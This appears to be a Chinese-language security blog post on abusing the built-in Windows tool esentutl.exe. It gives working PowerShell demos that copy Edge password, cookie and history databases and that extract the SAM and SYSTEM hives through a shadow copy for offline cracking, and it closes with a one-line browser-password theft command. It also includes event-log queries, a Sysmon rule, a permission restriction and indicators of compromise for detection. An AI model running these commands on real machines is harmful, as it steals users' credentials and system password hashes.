前言
Esentutl.exe是Windows內建的ESE資料庫工具,
他的檔案複製功能可繞過檔案鎖定,
所以也常常成為攻擊者竊取資料的好工具。
工具特性
- 路徑:
C:\Windows\System32\esentutl.exe - 核心參數:
/y(複製檔案)、/vss(使用陰影複製) - 關鍵優勢: 可複製被鎖定的檔案、白名單程式、低調執行
攻擊Demo
快速測試
先測試esentutl是否正常運作:
echo test > t.txt
esentutl /y t.txt /d c.txt /o
cat c.txt
rm t.txt,c.txt -F
看到”Operation completed successfully”表示正常。
Demo 1:竊取瀏覽器密碼資料庫
繞過瀏覽器鎖定,複製儲存的密碼和Cookie。
$b = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default"
$o = "$env:TEMP\bd"
mkdir $o -F | Out-Null
ls "$b\*Data","$b\Cookies","$b\History" -EA 0 | % {
esentutl /y $_.FullName /d "$o\$($_.Name).db" /o 2>$null
}
Compress-Archive $o "$env:TEMP\b.zip" -F
echo "Done: $env:TEMP\b.zip"
rm $o -R -F
執行結果分析:
當執行時,esentutl會顯示複製進度:
Initiating COPY FILE mode...
Source File: ...\Login Data
Copy Progress: |----|----|----|----|
Operation completed successfully
技術重點:
- Login Data (約50KB):儲存的網站密碼(加密)
- Web Data (約230KB):自動填充、信用卡資訊
- Cookies:認證令牌
- History:瀏覽記錄
攻擊價值:
- 這些資料庫可離線解密(如ChromePass、SharpChrome)
- 包含所有儲存的認證資訊
- 可用於憑證填充攻擊
Demo 2:利用VSS竊取系統認證
配合陰影複製存取SAM資料庫。
vssadmin create shadow /for=C: 2>$null
$s = (vssadmin list shadows | Select-String "HarddiskVolumeShadowCopy" | Select -Last 1) -replace '.*Copy(\d+).*','$1'
if($s){
$p = "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy$s"
esentutl /y "$p\Windows\System32\config\SAM" /d "$env:TEMP\SAM" /o 2>$null
esentutl /y "$p\Windows\System32\config\SYSTEM" /d "$env:TEMP\SYSTEM" /o 2>$null
if(Test-Path "$env:TEMP\SAM"){echo "[+] SAM extracted"}
if(Test-Path "$env:TEMP\SYSTEM"){echo "[+] SYSTEM extracted"}
rm "$env:TEMP\SAM","$env:TEMP\SYSTEM" -F -EA 0
}
攻擊價值:
- SAM檔案:包含使用者密碼雜湊
- SYSTEM檔案:解密SAM所需金鑰
- 離線破解:可用hashcat或john破解密碼
偵測方法
監控命令列
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
? {$_.Message -match 'esentutl.*/y'}
Sysmon規則
<RuleGroup name="Esentutl_Abuse">
<ProcessCreate onmatch="include">
<Image condition="end with">esentutl.exe</Image>
<CommandLine condition="contains any">Login Data;Cookies;SAM;SYSTEM;/y</CommandLine>
</ProcessCreate>
</RuleGroup>
防禦措施
限制執行權限
icacls C:\Windows\System32\esentutl.exe /grant Administrators:(RX) /inheritance:r
監控關鍵目錄
先啟用檔案系統稽核,再以 4663(物件存取)事件篩選敏感檔案的存取記錄。 注意:Windows 事件查詢只支援 XPath 1.0 子集,字串比對不支援萬用字元或 contains(),因此這裡改用 PowerShell 過濾事件訊息內容:
auditpol /set /subcategory:"File System" /success:enable /failure:enable
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4663} |
? {$_.Message -match 'Login Data|config\\SAM|config\\SYSTEM'}
關鍵指標 (IOCs)
命令列特徵
esentutl /y * /d *- 檔案複製模式- 路徑包含:Login Data、Cookies、SAM、SYSTEM
異常行為
- esentutl存取瀏覽器目錄
- esentutl配合vssadmin執行
- 短時間內多次執行esentutl
檔案痕跡
- TEMP目錄出現.db檔案
- 瀏覽器資料庫副本
- SAM/SYSTEM檔案副本
總結
Esentutl危險是因為:
- 繞過檔案鎖定 - 複製使用中的檔案
- 白名單信任 - Microsoft簽章
- 低偵測率 - 很少被監控
一行竊取瀏覽器密碼:
esentutl /y "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data" /d pwd.db /o